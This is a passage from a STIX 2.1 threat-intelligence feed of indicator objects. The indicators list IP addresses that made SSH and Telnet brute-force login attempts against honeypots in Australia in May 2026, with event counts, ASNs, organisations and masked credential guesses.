      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.76.115.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:15:10.000Z",
      "valid_until": "2026-06-10T18:15:08.000Z"
    },
    {
      "created": "2026-05-09T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LB. ASN(s): 43019. Organisation(s): Farah Net S.a.r.l..",
      "id": "indicator--eb48b759-5057-40a6-8161-08a8a18e65ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.206.200.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:15:10.000Z",
      "valid_until": "2026-06-10T18:15:08.000Z"
    },
    {
      "created": "2026-05-09T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397423. Organisation(s): Tier.Net Technologies LLC.",
      "id": "indicator--53e158c7-d9cc-4631-a3f7-6af59a9c6e7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.241.149.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:15:10.000Z",
      "valid_until": "2026-06-10T18:15:08.000Z"
    },
    {
      "created": "2026-05-09T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MU. ASN(s): 23889. Organisation(s): MauritiusTelecom. Usernames observed (masked): a***n. Passwords observed (masked): q****1.",
      "id": "indicator--38ed8616-bce5-4c88-92ba-669d0c8e9f09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.227.8.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:15:10.000Z",
      "valid_until": "2026-06-10T18:15:08.000Z"
    },
    {
      "created": "2026-05-09T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 23872. Organisation(s): delDSL Internet Pvt. Ltd..",
      "id": "indicator--20f98f03-9a36-4841-99ed-8911e9d4bfb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.110.82.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:15:10.000Z",
      "valid_until": "2026-06-10T18:15:08.000Z"
    },
    {
      "created": "2026-05-09T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--fe90ddca-e89a-4236-a756-56ae608ad3c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:15:10.000Z",
      "valid_until": "2026-06-10T18:15:08.000Z"
    },
    {
      "created": "2026-05-09T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications.",
      "id": "indicator--de0432da-f23c-4a9a-9644-a005d40c58cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.151.1.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:15:10.000Z",
      "valid_until": "2026-06-10T18:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--c99c9602-7c41-4b67-8e40-0d34d76acac7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.96.192.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CG. ASN(s): 36924. Organisation(s): GVA-Canalbox.",
      "id": "indicator--1b6b38cc-14aa-421d-bfbd-8f415486d272",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.141.53.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 151769. Organisation(s): HEGHESCOM NETWORKS PRIVATE LIMITED. Usernames observed (masked): a***n, 3**********4, m****r, r**t, s**p. Passwords observed (masked): 1****q, 1****q, 3***********4, 3**********4, a***n.",
      "id": "indicator--c014b57e-ee28-4378-b2e4-9789a2a9336a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.38.219.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 56630. Organisation(s): Melbikomas UAB.",
      "id": "indicator--73c38ef8-a0ee-42b2-9b74-652099a29cff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.82.101.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45271. Organisation(s): Vodafone Idea Ltd.",
      "id": "indicator--91335c90-8837-4efd-834c-7ff008d9eb29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.76.70.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--7fa9f2ea-2f25-4b07-99f0-d4f35b968f7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.148.171.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, d*****r, d********r, t******l. Passwords observed (masked): 1******8, 1****@, 3***********4, 3**********4, Q*******C.",
      "id": "indicator--b6ceaa0d-9d7a-45e3-8fa4-dba6f6b96dad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.171.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--d918fd06-08b0-4f99-a411-9f9161864fca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '153.246.198.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): a***n, t**t, 3**********4, ***, m****r. Passwords observed (masked): 1****6, 1****q, 3***********4, 3**********4, p******d.",
      "id": "indicator--56ed0736-ae12-4237-87b7-052e5fd5f04e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.99.42.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--a6ceba49-31cc-4839-8bba-ef8b2e5d1558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.191.138.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--74d0c31a-d33f-4675-98cc-15b2cf0c344d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.19.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--045f48dd-d07b-4e9e-b475-484052a7bec1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.74.129.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): u****u, r**t, a***n, t**t, 3**********4. Passwords observed (masked): 1****3, 1**********6, 1*******3, 1***5, 3***********4.",
      "id": "indicator--9a565a3f-6fc0-4e2c-a45a-e77fc5af323a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.165.22.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): u****u, a***n, m*******r, t**t, t******r. Passwords observed (masked): p**s, p******d, *, 0******0, ***.",
      "id": "indicator--6239918c-9fd6-4454-9e30-e918f9ff51fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.160.242.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--77740a7d-511d-4cf6-97fb-0461127c481d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): m****r. Passwords observed (masked): t**t.",
      "id": "indicator--212b579e-0ad2-4e09-a7a3-6c94686096d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.140.76.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:15:11.000Z",
      "valid_until": "2026-06-10T19:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17598. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--90265a92-f455-4360-807a-2a341bdfea6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.86.180.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 38841. Organisation(s): kbro CO. Ltd..",
      "id": "indicator--cb8a2fa1-8845-4ddd-8a0a-05ed4724a736",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.194.171.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 206206. Organisation(s): Kurdistan Net Company for Computer and Internet Ltd..",
      "id": "indicator--d5767a32-6cf6-450b-b5d1-9d83149a3ae3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.106.29.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--accd3492-2660-4c88-8dbf-b6f58c612e0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 532. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, c***o, d*******r, m*****r. Passwords observed (masked): 1****6, 1**4, P******d, a***n, p******d.",
      "id": "indicator--a7b55457-3db9-4200-b574-3c1bebbce673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.5.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 477. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, u**r, ***. Passwords observed (masked): a***n, 1**4, 1***5, a****3, p******d.",
      "id": "indicator--6565fa0a-9286-4f9b-8b23-e31c9679e4d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.6.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 48330. Organisation(s): Sinev Maksim Viktorovich.",
      "id": "indicator--d77dfbe7-5360-4669-99e4-2037c5cdda48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.172.195.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BA. ASN(s): 20875. Organisation(s): JP HT d.d. Mostar.",
      "id": "indicator--c234f85e-46ef-44cf-a26c-2aa7fce2348a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.35.130.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--39e9c0fc-47be-4c58-933d-05634edde2ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.167.37.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T20:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--4640e168-d745-415f-9df4-89a4a193fdf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.243.10.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:15:46.000Z",
      "valid_until": "2026-06-10T20:15:08.000Z"
    },
    {
      "created": "2026-05-09T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 62904. Organisation(s): Eonix Corporation.",
      "id": "indicator--882c49f0-f53f-40c8-9e21-c17283db6a8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.140.145.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T21:15:10.000Z",
      "valid_until": "2026-06-10T21:15:08.000Z"
    },
    {
      "created": "2026-05-09T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--fc1af26b-c6d3-4f50-818e-3b8df28dd46c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.6.182.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T21:15:10.000Z",
      "valid_until": "2026-06-10T21:15:08.000Z"
    },
    {
      "created": "2026-05-09T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--3794085c-318e-4beb-861d-3fc8aee32d5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.228.98.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T21:15:10.000Z",
      "valid_until": "2026-06-10T21:15:08.000Z"
    },
    {
